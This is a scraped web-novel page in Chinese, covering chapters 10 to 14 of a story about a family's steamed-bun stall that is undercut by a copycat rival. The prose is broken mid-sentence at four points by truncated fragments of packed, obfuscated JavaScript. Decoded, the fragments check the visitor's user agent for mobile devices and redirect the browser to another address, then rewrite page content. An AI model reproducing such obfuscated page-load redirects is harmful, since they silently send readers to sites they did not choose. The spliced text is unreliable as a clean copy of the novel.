l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746379|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，我洗好了，你们赶快来尝尝！” “哎！” 两口子齐齐应了一声，脸上的笑容比头顶正午的阳光更灿烂。 丁大勇是个急性子，第二天早上六点刚过，就带着他表舅一块来了！ 舅甥俩是推着自行车来的，车后座上绑着两个大箩筐，一边筐里是一袋子面粉，另一筐则装满了包菜、芹菜之类的蔬菜。 丁家表舅自己的背筐里还装了三十个鸡蛋！ 苏家人没想到他们动作这么快，就一个晚上，人家干脆把东西都给他们带来了！ “师父、师娘，这不是昨天我借了自行车去给我舅送信吗？正好我舅家里就有面粉，我昨晚就直接帮他先运过来了！” 丁家表舅姓张，四十出头的年纪，看着却比实际年龄老相。 这也是个实诚人，因为惦记着买卖的事，今天早上三点半就出门了！ “那啥，苏家大兄弟，俺都听俺们大勇说了，你平时就挺照顾他的，现在又照顾俺！俺、俺那啥谢谢你们！” 苏卫华忙摆手，“张大哥，你太客气了！啥照顾不照顾的，咱这都是双向的，其实我也该谢谢你！” 看苏卫华这样和气，张表舅憨厚的脸上也露出了笑容。 两边就以后收货的事商量好了细节，定下了收购的物品种类、价格，以及下一次的送货时间。 苏卫华这边先支付一半定金，余款等交货时结算。 当然付定金前，得先把张表舅这次送来的东西结清。 算账时，张表舅坚持要把那一大筐的蔬菜白送给他们，苏家人自然不肯，昨天丁大勇送来的也就罢了，一码归一码，这种便宜他们不能占。 见苏家人这样宽厚，张表舅十分高兴，保证自己下次一定准时来送货。 有了张表舅定时定量来送做包子的原料，苏家人的工作量果然减轻了不少，最起码不用每天早上着急火燎地推着笨重的三轮车往自由市场跑了！ 只可惜最难办的猪肉问题还是没法解决！ 随着天气越来越炎热，自由市场现在基本上三五天能碰到一份卖新鲜猪肉的就算不错了，而且每次买肉都像打架，稍微去晚一点就啥都不剩了！ 10. 第十章 张表舅那边也没啥好办法，眼下这时节，谁家要不是赶上个红白喜丧的，轻易也不会杀猪。 大伙儿还都盼着让猪多吃些猪草，好长肥膘呢！ 他只能说尽量帮忙留意，基本还是靠运气。 好在他们大队养鸡的不少，鸡蛋倒是能供得上。 鸡蛋现在也是好东西，因为好吃又营养，虽然比不上肉，可也不便宜。农贸市场那边，一斤鸡蛋的价格在五毛到六毛之间。 买不到猪肉，包不了肉包子的时候，李翠英就换韭菜鸡蛋馅儿和西葫芦鸡蛋馅儿，味道照样十分鲜美，这个时节吃起来也不错。 至于价格，比素馅的提个两、三分钱，利润也很可观。 没有猪肉，大骨头就更费劲了！苏丽珍索性把赠送的大骨汤换成了应景的的绿豆汤，清热解暑，大伙儿也都挺喜欢。 毕竟大骨汤虽好，可在这酷暑难耐的日子里还是有点腻歪。 而苏家的绿豆汤是每天早上就熬好的，放凉后一直用井水湃着，等到了客运站，苏丽珍还会特意到副食店买回几只冰棒投在汤桶里。 这样绿豆汤的口感更加冰凉爽口，大热天的喝上一口，那股子沁凉一下从喉咙口蹿到四肢百骸！ 对那些在闷热不透气的长涂汽车上憋了好几个小时的客人来说，再没有比喝上这一碗又甜又凉的绿豆汤更叫人舒心的了！ 他们家的包子本来就好吃实惠，再加上还白送这么精心制作的绿豆汤，摊子上的生意就更加红火了，每天两百多个包子根本不够卖。 苏卫华两口子只得又追加了几个蒸屉，现在每天能出三百多个包子。 尽管如此，包子还是供不应求。他们每天早上十点多出摊，几乎下午一两点钟就卖完了！ 苏卫华和李翠英尝到了甜头，有心再加一组蒸屉，却被苏丽珍果断拦住了。 卖包子挣钱不假，可每天三百多个包子，光是和面、剁馅、擀皮这一套流程下来就不轻松了，更不消说还要推着车子风里来、雨里去地出摊！ 他们家里她自己人小、力气小，只能充半个劳力；苏卫华身体不好，不能劳累，几乎重担都压在了李翠英一个人身上。 虽然她也很想趁着如今市场大、竞争小的时候尽可能多卖一些，可她没忘了自己急于挣钱就是为了让父母过上好日子。 总不能在他们家步入稳定富裕前，先把两人累出个好歹来，那就是本末倒置了！ 苏卫华两口子都不是听不进劝的人，见女儿这样担心他们，心里熨帖，也就不再坚持了。 毕竟现在他们每天的净利润就能达到三十块，十天挣得钱就赶上过去苏卫华半年的工资，他们也知足了！ 而在老苏家的包子摊一片红火兴隆之际，七月中旬，苏丽珍的中考成绩也出来了。 照比前两年的中专录取分数线差了将近二十分，考中专基本是没什么希望了。 自78年以来，由于国家各行各业的人才缺口巨大，各地中专院校开始提前招收优秀的初中毕业生。 相比考大学，中专毕业后同样是干部出身，且国家包分配，也不用多花三年时间念高中，所以初中毕业直接上中专才是时下人们眼中的最优选。 不过，这时能考上中专的学生基本也都是学校里的尖子生。一所中专的录取分数线往往比当地最好的重点高中还要高出一大截！ 苏丽珍文科成绩还好，理科就比较拉跨，平时成绩大致能保持在班级前五。 只是她所在的初中教学水平一般，在凤城所有的中学里只能排个中等，所以别看她这次的成绩比以往中专分数线低了二十分，其实她这已经算是发挥的很好了。 不过她打从上了初中开始，性格就越来越内向，平时也不怎么跟苏卫华和李翠英交流，加上两口子也不太懂学习上的事，所以一听说闺女的成绩在班级前五，就一直以为她学习很好。 这回听说闺女恐怕考不上中专，两口子虽说心里避免不了的有点失落，可他们早已做好了心理准备，也约定好不会在这事上说闺女，所以现在反过来还担心苏丽珍难受上火。 夫妻俩在屋里嘀嘀咕咕了一会儿，最后还是李翠英打头，对正在厨房里忙活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746380|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的苏丽珍小心翼翼道：“珍珍啊，别忙了，你大清早就跑了趟学校，怪累的！还是歇会儿吧……要不妈给你拿钱，你叫上同学去南湖公园划船去？” 苏卫华也紧跟着说：“对，划完船就去国营饭店吃点好的，然后再去看个电影啥的，听说电影院这个月又有新片子了！” 这熟悉的套路，听得苏丽珍哭笑不得，但是心里也格外温暖！ 她放下手里的活，抬头对两人认真说道：“爸、妈，我哪儿也不去，就在家里跟你们一起卖包子！” “你们也不用担心我！老师说过我这次的成绩上重点高中还是没问题的，我向你们保证，等上了高中我一定好好学，将来肯定给你们考个大学回来！” 看闺女这番话说得掷地有声，夫妻俩松了口气的同时，又深感欣慰，觉得女儿是真的长大了！ 因为苏丽珍说什么也不肯出去散心，夫妻俩拧不过她，最后还是带着她一起出摊了。 不过这么一耽搁，今天就比平时晚了半个多小时。 只是当一家人推着车子走到距离客运站四五十米远的岔路口时，突然发现林小麦站在前面大树荫底下，不停地左右张望，神色也有些焦急。 随着摆摊时间长了，他们跟林小麦也越发熟稔起来。这个女孩性格直爽、待人热情，看上去似乎是和苏丽珍完全不同的性子，可两人却意外的对盘，关系十分融洽。 而苏卫华夫妻俩也很喜欢这孩子，看她一个人摆摊辛苦，就三不五时给她端个包子、馒头或者汤汤水水。 林小麦也常把她摊子上的山杏、毛桃送给他们吃，赶上他们卖包子人多忙不开时，就经常主动过来帮忙。 眼下见她神色不好，一家人都以为她遇上什么事了，正想出声叫住她问问，对面林小麦已经看见了他们，赶忙几步迎上来：“叔、婶，珍珍妹子，你们可算来了！ 然后也不等他们开口，接着又说了一句让所有人大吃一惊的话！ “今天早上东边又来了一份卖包子的，他们卖的包子跟你们家的一模一样！” 苏丽珍心里一沉。 11. 第十一章 虽然早就知道将来这附近必定不会只有自己一份卖包子的，可她没想到会来的这么快！ 她握住林小麦的手，沉声说：“小麦，具体怎么回事，你跟我们好好说说！” 林小麦便伸手朝着客运站那边一指：“你们看，那儿新来了一个包子摊，跟你们一样也卖猪肉大葱、韭菜鸡蛋和包菜粉条三种馅儿！” “我都打听了，他们卖得每种包子都比你们家便宜两分钱！而且他们也免费送绿豆汤喝！” 苏家人听完面色微变，赶忙顺着林小麦指的方向看过去，尽管中间隔了四五十米远，还是一眼就能看见客运站正门东边多了一份小摊。 而且时不时还能听见诸如“肉包子一毛六”“素包子八分”“好吃不要票”这样的吆喝声。 这会儿，那摊子周围已经围了一圈人，显见着生意不错！ 林小麦也注意到了那边买包子的人似乎越来越多，声音不自觉急切起来，“他们来得早，十点钟不到就摆好了摊子！那个摊主一来就吆喝，大伙儿一听说他们的包子便宜就都奔他们去了！” 还真是有备而来啊！ 苏卫华和李翠英听完又是着急、又是生气。 李翠英忍不住嘟囔：“他们怎么能这样，明明……” 明明什么，她说不出口，但所有人都明白她的意思！ 只不过，谁也没规定别人家就不能卖同样馅料的包子，不能白送绿豆汤，不能比他们家便宜两分钱！ 气氛有些凝重，林小麦小声说道：“叔、婶，珍珍妹子，这事你们得赶紧拿主意！” 她念着苏家人对她的好，又实在看不惯对方这种没脸没皮的做派，这才连自己的摊子都不顾，早早跑过来等着给苏家人报信，好让他们有个思想准备。 不过这事也确实棘手，这买卖可不等人啊！ 苏丽珍感激她的这份心，不由对她真诚道谢：“小麦，谢谢你特意来告诉我们！对了，你的东西呢？可别因为我们耽误你自己出摊！” 林小麦摆手，“没事，我的摊子叫报刊亭的王大爷帮忙看着呢！我这是小事，关键是你们这边，可不能叫人把生意都抢走！” 苏丽珍略一思索，便对她说：“小麦，我想请你帮我个忙！” 林小麦：“什么忙，珍珍妹子，你只管说！” 苏丽珍：“我想让你先去把他家的包子一样买上两个，然后再悄悄给我们送来！” 林小麦立马心领神会，点头说：“我明白了，你放心，我这就去！” 苏丽珍给她拿了一块钱，“谢谢你，小麦！” 等林小麦走了，李翠英才忧心忡忡地开口：“卫华，小麦，咱们咋办啊？” 顿了顿，又有些犹豫道：“要不然待会儿咱们也把包子便宜点卖？” 苏丽珍连忙摇头，“妈，这不行！他们既然有备而来，说明一开始就打着通过压价的方式挤走咱们。咱们要是冒然跟着降价，那就真着了他们道了！” 价格战是“伤敌一千，自损八百”的招数，不到万不得已不能用！ 况且看对方这架势，用了也不见得管用。 苏卫华皱着眉头，觉得闺女说的话有道理。 这种事他以前听老人们当故事讲过，什么“两个开饭馆的为了揽客争相降价，结果最后便宜了吃客”之类的。 当时就当个乐子听了，事到如今，轮到他自己头上，可就一点也笑不出来了！ 也是这个时候他才发现，其实做买卖、当小贩这事真不像他想的那么简单，这里面也有不少难题，更有许多学问。 苏丽珍看着忧心忡忡的父母，赶忙宽慰两人，说道：“爸、妈，你们也别着急，咱们走一步、看一步，先等小麦把包子买回来再说！” 苏卫华没说什么，只是点了点头。 一直眼巴巴看着女儿的李翠英则有些失望，随即她又有些羞愧，闺女毕竟还只是个十六岁的孩子，自己不该遇事就指望闺女拿主意！ 其实连她自己都没发现，不知不觉中，她已经越来越信赖苏丽珍，俨然快要超过苏卫华这个一家之主了。 林小麦很快就回来了。 苏丽珍接过她带回来的六个包子，一搭眼就看见这些包子个头跟他们家的差不多，甚至肉包子比他们家的还稍大一点。 不过一上手，她就发现这些包子的分量轻了点，里面的馅儿肯定不算大。 果然，将这六个包子依次掰开来，有素菜的包子还好，肉包子的肉团明显不够大，面皮快有一指厚了！ 再尝味道，素馅包子不说什么复杂的调味，就是基本的油放得都少，口感很像是吃水煮菜； 肉包子的猪肉其实不大新鲜，连苏丽珍这样的外行都能吃出来！而且大约是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746381|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道肉馅不够，干脆就咸盐来凑，配上这厚厚的面皮，勉强保证了不咸不淡。 其他诸如韭菜鸡蛋馅儿根本看不到多少鸡蛋，包菜切得不够细碎，菜叶有大有小等等小问题也很多。 吃完了这六个包子，李翠英的脸色肉眼可见地好了起来。 “小麦啊，婶儿这不是自卖自夸，他们家这包子比婶儿包的还是差了一点！” 林小麦可是李翠英手艺的忠实拥护者，听了这话立马点头如捣蒜。 “婶儿，你也太谦虚了，啥差了一点啊，要我说根本就是差了老鼻子了！” “我可算知道他家为啥卖得便宜了，就这味道，要不卖便宜点，谁能买他家的啊！” 林小麦的高度认可让李翠英既高兴、又有些不好意思，不过之前的担忧紧张也一下去了大半！ 等人走后，她就拉着苏丽珍小声说道：“珍珍，这下我可放心了，妈包的包子比他们的好吃多了！他们肯定挤不走咱！” 苏卫华也一扫之前的阴霾，脸上重新露出了笑容，“对，咱们还是得对你妈有信心！” 看他们这样乐观的样子，苏丽珍到嘴边的话又咽了下去。 事实上，她并不认为自家包子味道好就能在这场竞争中胜出。 现在买他们包子的顾客群体，大部分是纯粹坐车的乘客，只有一小部分算是回头客。 而现在这个年月，刚解决温饱没几年，比起追求味道，大伙儿更在意的还是价格。 也就是说，相同的食物，在一样能填饱肚子的前提下，自然是越便宜越好！ 在这样的社会前提下，苏丽珍并没有自信仅仅是因为味道好就能让第一次购买的顾客忽略价格上的差异。 除非他们的包子名气足够大！ 可他们出摊满打满算还不到一个月，能在现在客流量的基础上保证一小部分的回头客已经算不错了。 不过看苏卫华夫妻俩自信满满的样子，苏丽珍也不忍心现在就打破他们的幻想，到时候见招拆招吧。 果然，苏丽珍料想的一点没错，即便他们的包子味道远胜对面摊子，可生意还是受到了很大影响。 直到下午两点，他们才卖出了七十多个包子！平时这个点，他们都已经收摊回家了！ 而就这卖出的七十多个包子，也基本都是些吃过的老客人特意找过来的。 12. 第十二章 苏卫华夫妻俩不由着急起来，尤其是看到对面接连卖光了几屉包子后，很快又有人送来一车新出锅的，竟是源源不断，准备一直卖下去了！ 这让原本还打算等着对方卖完离开、自家好借机喘一口气的夫妻俩再也站不住了！ 毕竟现在天热，这锅里的包子老是这么闷着，半天过去肯定发嗖，那损失可就大了！ 连林小麦在一旁也跟着干着急，见他们这里实在没什么人，干脆自己摸出钱来要买他们的包子。 今天没有肉包子，李翠英调了胡萝卜粉条、韭菜鸡蛋和西葫芦鸡蛋三样馅儿。 苏丽珍每样给她拿了一个，却没收她的钱。 “小麦，平时想请你吃一个，你总是推辞，怕我们不够卖，这回你可不用担心了！拿着，要不然下次我们也不要你的毛桃和山杏了！” 林小麦听她这么说，犹豫了一下，到底还是收起了钱。 不过她拿到包子后，并没有回自己摊子上，而是直接走到客运站门口，冲着乘客出来的方向一边大口吃起来、一边故意高声喊道：“哎呀，这包子真是太好吃了！” 有她带着，竟然真的招来了一拨儿客人！ 只可惜对面摊子听见动静也跟着吆喝起来，一听说对面一样馅儿的包子都便宜两分钱，这一拨儿客人直接就过去了大半。 林小麦不甘心，还想再去喊，却被苏丽珍拦住了。 小麦不比自家，一向是独来独往，万一对面看她一个女孩子，对她不利就麻烦了！ 她看了眼苏爸的手表，已经两点二十了，不能再耗下去了。 “爸、妈，收拾收拾，咱们换个地方！” 苏卫华夫妻俩不甘心，可也知道不换地方的话，今天这几屉包子非得都白扔在这儿不可！ “珍珍，咱们去哪儿啊？”李翠英的声音十分惶恐，原本那点沾沾自喜早已被对面源源不断的客流打击的烟消云散。 “去火车站！”苏丽珍果断回答。 凤城不但是省城，也是连接临近周边几大省份的交通枢纽，火车站客流量大，他们这点包子即便有同行竞争也应该能吃下。 苏丽珍简单收拾好东西，又在副食店阿姨同情的目光下买了几根冰棍重新投入绿豆汤桶，告别林小麦，推着车子就往火车站赶。 火车站离客运站步行也要半个多小时，为了能多卖一点，这一路上苏丽珍一直在吆喝。 “卖包子啦，好吃的大馅儿包子！买包子还白送绿豆汤啦！” 看闺女这么卖力，苏卫华两口子也很快调整好情绪，跟着一起大声叫卖。 许多人被那一大桶冒着凉气的绿豆汤吸引，掏钱买包子的不少，这一路竟然断断续续又卖出去了三十多份！ 等到了火车站，只见来来往往的行人旅客络绎不绝，这人/流量能顶上三个客运站了，果然“铁老大”的名头不是虚的！ 苏丽珍简单看了一圈，发现眼下火车站门口只有几份摆摊的，有卖汽水雪糕的，卖水果的，也有卖花生瓜子的。 就一份跟他们一样卖主食，卖的是麻花！ 一家人见此立时精神一振，赶忙大声吆喝起来。 也许是因为这周围只有他们这一份卖包子的，也可能是火车站的客流确实够大，原本还让苏卫华夫妻俩愁得够呛的二百多个包子，到下午四点半也都尽数卖光了！ 看着空空如也的蒸屉和汤桶，苏卫华和李翠英这才齐齐松了口气。 虽说是折腾了点儿，好在最后包子没砸手里，夫妻俩还是十分高兴的。 回去的路上，李翠英就说：“我看这火车站挺好的，人也多，我看不如咱以后就都上这儿来卖吧！” 苏卫华没马上回答，反而把目光投向了女儿，“珍珍，你觉得咋样？” 看着父母眼中那充满希冀的目光，苏丽珍心里叹了口气，轻声反问两人：“那要是将来在火车站也出现今天这种情况，怎么办？” 夫妻俩面色一窒！ 苏丽珍看两人的脸色，又继续说道：“爸、妈，你们是不是觉着这火车站门口够大，如果将来真的又来了一家恶意挤兑咱们的摊子，大不了咱们跟他们一个在东、一个在西，反正火车站有两个门，咱们各卖各的，谁也别影响谁？” 苏卫华和李翠英对视一眼，都在各自的眼中看到一抹儿心虚。别说，他们还真是这么想的，反正他们对自家用了好方子的包子馅儿有信心，不怕货比货！ 苏丽珍看他们这反应，就知道自己说中了，心下不禁暗叹，爸妈还是旧思维，根本想不到其实“酒香”也怕“巷子深”，不是你的东西够好就能理所当然地受大伙儿欢迎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746382|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何况如今，“酒香”怕的也不只是“巷子深”！ 她有心借这个机会让苏卫华夫妻扭转一下思路，于是当即不客气地又反问道：“那要是来的不只一家，再有第二家、第三家，甚至十家、八家的，到时候咱们还能躲到哪儿去？” 夫妻俩想到那个场景面色立刻有些发白，李翠英干巴巴道：“不、不会吧……应该没有那么倒霉……” 苏丽珍不语，只是意味深长地看着他们。 夫妻俩在女儿的目光中慢慢沉默下来。 女儿说的没错，其实是他们太天真了！想想这年头最不缺的就是跟风，更何况是挣钱发财这种事！ 没摆这个摊子前，他们也跟其他人一样，看不上干个体的，直到自己亲自参与了才知道，同样是挣辛苦钱，这摆摊的利润有多大！ 这段时间，认识他们两口子的朋友、老同事知道了他们摆摊的事，大多数人都表达出了同情和惋惜，觉得他们家妥妥地在走下坡路！ 可谁能知道，在这不到一个月的时间里，他们已经挣了有小八百块呢？ 尽管夫妻俩秉着“财不露白”的想法，统一口径，对来打听他们挣多少钱的人，一律都是一句“对付生活，混个温饱”。可事实上，这种事根本瞒不住！。 毕竟卖包子不是什么太复杂的手艺，只要在他们摊子边上多留心观察，很快就能估算出他们这一天的毛利、净赚，一点不费劲！ 现如今随着大批下乡知青返城，没工作、没收入的人越来越多，这涉及到挣钱的事，多少双眼睛直勾勾盯着呢！ 要不然今天这个处处学他们、还恶意挤兑他们的摊子是怎么来的！ 所以闺女说的那些完全有可能，他们光想着躲肯定解决不了问题！ 良久，苏卫华才沉声说道：“要不然这段时间咱就先两头跑着，然后再慢慢想办法。” 毕竟他们家的包子也是有几个回头客的！ 而且他也不想就这么灰溜溜地被人挤走，他们第一次摆摊就在客运站门口，肯定是有些不同的。 反正今后在哪儿都一样，就干脆不走！ 李翠英看了看丈夫和女儿，最后捏紧了拳头，也跟着点了点头。 一家人就这件事基本达成一致。回去这一路，夫妻俩的话都少了很多，显然是一直在思考对策。 13. 第十三章 苏丽珍见此，不由十分欣慰。不是她故意挑刺，早期她也曾把火车站列入过摆摊地点的选择之一。 只是考虑到后期火车站附近秩序最是混乱，有大批小偷扒手不说，甚至光天化日下就有敢抢劫勒索的！直到严打后，这种情况才有所改善。 加上火车站离他们家的距离确实有点远，来回一趟就要两个多小时，时间都耗在路上不说，人也更累。 所以她才希望打消父母这个想法。而且，针对今天的事，她其实也已经想到办法了，只是想看看爸妈自己能不能想出合适的点子来。 如今，虽然国家已经有一定的政策倾向鼓励城市内的个体经济发展，只是因为具体实施细则还没有颁布，所以许多人还不敢有所行动。 按照她的记忆，大约明年这个时候，国家就会对个体从业者有明确的相关规定，到时个体经济必然全面开花，迅速发展，竞争势必会越来越激烈。 所以她也希望自己父母的思维能够转变过来，不说什么大胆创新、与时俱进，起码得多动脑筋，跟得上形势，这样以后的路子才能越走越宽、越走越远。 一家人到家的时候已经快六点钟了。 因为最近挣到了钱，加上生意好，心情好，这些日子苏卫华的身体状况一直保持的不错，只是今天一天奔波的时间有些长，加上着急上火，这会儿他的脸色就不太好。 娘儿俩担心他犯病，到家第一件事就是劝他回屋躺着。 苏卫华这会儿哪有心思躺下，最后好说歹说总算是让闺女答应给他在院子里摆张椅子，一边老老实实坐下休息，一边看媳妇、闺女收拾那些锅碗瓢盆。 李翠英手上活计没停，只是时不时抬头看一眼苏丽珍，或者瞄一眼苏卫华，一副欲言又止的样子。 苏丽珍注意到妈妈的样子，想着她心里必是有了什么成算，忙主动问道：“妈，你是不是想说啥？” 李翠英手上一顿，看着女儿充满鼓励的眼神，又看了眼闻声朝自己看过来的丈夫，竟然破天荒地有点不好意思。 在这个家里，她一向惯于听从丈夫的想法。这么多年来，也就是当初苏卫华病重还不想离职那一回，她大动肝火，吓得他最后乖乖同意回家休养。 如今冷不丁地要在男人和闺女面前表达自己的想法，这感觉虽说怪怪的，不过好像也不算赖。 “那啥，我就是觉得，既然那家跟着咱们学卖包子，那咱干脆就不卖包子了！咱可以换个啥别的东西卖，最好是难学一点的，让他们看见也学不会！” 听着有点意思！ 苏丽珍弯起了唇角。她妈没啥文化，半辈子围着丈夫、女儿转，能这么快就转换思路，没在卖包子这一件事上死磕，让她觉得特别惊喜。 连苏卫华也听出了几分味道，赶忙催问：“英子，你是不是想到啥了？赶快跟我们爷儿俩说说！”一着急，连李翠英的小名都直接叫出来了！ 李翠英忍不住白了他一眼，这人，一大把年纪了，当着闺女的面啥都敢喊，怪没羞的！ 不过，她也没卖关子，继续说道：“我们大师傅教过我一种南方小吃，叫油墩子，主要是用白萝卜丝和面粉做的，也能加肉馅儿，然后过油炸，我吃着比油条还香！” “这玩意儿咱这嘎达可没有卖的，做法说难不难，说简单也不简单，它得用一种特殊的模具，要不然做起来不趁手！我估摸着咱要做这东西，短期内旁人肯定学不来！” 苏丽珍上辈子一直没出过东北，后来又偷渡到米国，所以没听说、更没吃过这个油墩子，不过既然是油炸食品，想必味道错不了。 虽然油炸的烹饪方式会增加成本，但是白萝卜和面粉都不值钱，在普遍缺油的年代，人们对油炸食品的认可度更高，好好盘算一下，利润应该不比卖包子低。 不过眼下天正热，这种油炸食品的受欢迎度还是要打些折扣。 她这里有一种更加合适的小吃，之前没说，是想让父母转变思维，主动思考，现在成效不错，也没必要压着了，“爸、妈，其实我……” “师父、师娘，小师妹，你们快出来，看我给你们带啥了！” 没想到她这边才刚起个头，就被大门外头一阵突如其来的大嗓门打断了。 一听这声音就知道是丁大勇来了。 丁大勇跟苏卫华关系好，隔三差五就要过来帮忙干点重活，偶尔也会送些自家做的东西。 一家人赶忙起身迎了出去，结果大门一开，立马被丁大勇带来的东西惊住了！ 这可不是啥小物件，那竟是一辆涂了乳白色新漆的三轮车！ “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746383|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大勇啊，这是咋回事？哪儿来的车啊！” 丁大勇擦了擦脸上的汗水，乐颠颠答道：“师父、师娘，我看你们那辆三轮车太小了，也旧，怕你们用着不得劲！我就抽空把我们家那辆改了下，以后咱们两家的车换一下，你们就用我新改的这辆！” 苏卫华夫妻俩自然不能答应，这车一看就是用了心的！ 跟他们家那辆一直拉煤用的旧三轮完全不一样，这车的车身不但经过重新拓宽、加长，而且还在四周齐刷刷竖了一圈铁皮围栏，这围栏足有三十公分高，这样来回装运物品时，就不用担心东西会滑出车外。 此外，车厢四角还各自加焊了一根铁棍，充作四根立柱，如果往顶上罩一层棉布或者塑料布，就是一个能遮阳挡雨的小棚子！ 苏卫华马上说道：“大勇，你这车改的太好了，我们不能换，这不是占你的便宜吗！” 一听这话，丁大勇急眼了，“师父，你这说的啥话！你帮过我那么多，现在换我这个当徒弟的想要孝敬孝敬你，咋就是占便宜呢！” “再说，我这车都是用厂里的边角碎料改的，就是这层漆也是捡的喷涂车间用完的货底子，我自己一分钱都没花，你就放心拿去用吧！” 见他这样，苏卫华也知道拒绝没用，毕竟说多了反倒显得生分。 等丁大勇走后，一家人忍不住围着这辆气派的新三轮看了又看。 苏丽珍看着车身四角的四根铁棍立即想到，如果在这四根铁棍之间绑上绳子，再选一块漂亮的布料，就能做一个简易拉帘，把车身都罩住！ 这样整体看起来更加干净卫生不说，还能在帘子上写字或者画画，这就相当于挂了个招牌！ 想到招牌，她才一拍脑门，摆了这么长时间摊子，他们家小摊还一直没有名字招牌呢！ 这事可不应该忘了，不过在给摊子取名前，还是应该把眼下的难题解决。 “爸、妈，咱们说回之前的话题。妈说改做油墩子，我觉得也是个不错的主意，我对她的手艺也有信心。不过我这里还有一个想法，想让你们也听听！” 听女儿这么一说，夫妻俩立时把注意力转到了她身上。 “妈，我记得你们食堂柳师傅是秦省人，那他有没有跟你们说过，他们那边有一种叫‘凉皮’的小吃？” 14. 第十四章 李翠英喜欢下厨，绝大多数跟美食有关的东西她都能留有印象。 所以尽管不明白女儿为啥突然提起这个，但她还是下意识点了点头：“当然知道！原先厂子里的工会主席也是秦省人，他没调走前，一到夏天最热的时候就请柳师傅给他做凉皮，我们也跟着借光尝过两回！” 一提起这些，李翠英的话就不由自主多了起来，“说起来，这凉皮用料简单，也不算费事，可那个味道是真好！滑溜溜的，筋道道的，配上黄瓜丝、辣椒油、芝麻酱，再加一勺老陈醋，哎呀，又酸又辣，老爽口了！尤其是夏天吃啊，就是没啥胃口的人也能吃个一大碗……” 说着、说着，李翠英的眼睛陡然一亮，回过神来当即看向苏丽珍，“闺女，我知道了，你是想让咱们改做凉皮？” 苏丽珍不由回给她一个肯定的微笑，“妈，你可真厉害，一下就猜到了！” 李翠英一拍大腿，“珍珍，要说还是你脑瓜子灵，这凉皮还真是最适合现在这个时候卖了！” 苏卫华在一旁看母女俩有来有往说得热闹，也不甘落后，赶忙插话道：“哎哎，你们娘儿俩别光顾着说自己的，这凉皮我连听都没听说过，你们快跟我说说，这东西究竟是咋做的！” 李翠英被他那眼巴巴的样子给逗笑了，便给他细说起来：“这东西其实不算难，就是有点费面！首先呐，你得先洗面，洗面就是……” 苏丽珍坐在一旁静静地听着，妈妈耐心细致的讲解声将她的思绪带回了上一世。 遥远的异国他乡，在她最狼狈无助的时候，有一位老人，亲手端给了她一碗饱肚的食物。 记忆里那入口一瞬间的酸辣咸香，是足以让她铭记两辈子的感恩和怀念…… “哎呀，听你这么一说，我觉得这凉皮做起来真有点费事！要这么麻烦，还不如吃一碗过水面条了，一样凉快嘛！”那边听完媳妇讲解的苏卫华忍不住摇头。 李翠英可不服气了：“这面条是面条，凉皮是凉皮，各有各的好！你啊，就是没吃过，要不然肯定不会这么说！是吧，珍珍！” 苏丽珍回过神来，忍不住笑道：“妈，我也没吃过凉皮，之所以知道，也是在先前我跟你们说的那本旧食谱上看到的。” 苏卫华听完恍然，他就说一样天天在家吃饭，怎么闺女就知道这东西呢！ 苏丽珍不想在这件事上多说，就转移父母的注意力道：“妈，我听你刚刚说的跟书上记得也没差多少，你要不要干脆试一下，先做一份凉皮出来，顺便也叫我爸尝尝，看看这凉皮值不值得卖？” 李翠英略一思索，却微微皱起了眉，“这个倒是不难，虽说我没亲手做过，但是步骤我都记得挺清楚，大不了多试几次，我肯定能鼓捣出来！就是当初柳师傅调的料汁挺不一般的，我自己私下琢磨过，却总拌不出人家那个味来！” 苏丽珍笑道：“妈，这个你不用担心，你忘了我刚刚跟你提过的那本书？那上面就有关于调制凉皮料汁的方子！这样吧，明天早上我就去一趟图书馆，把那个方子抄下来给你参考！” 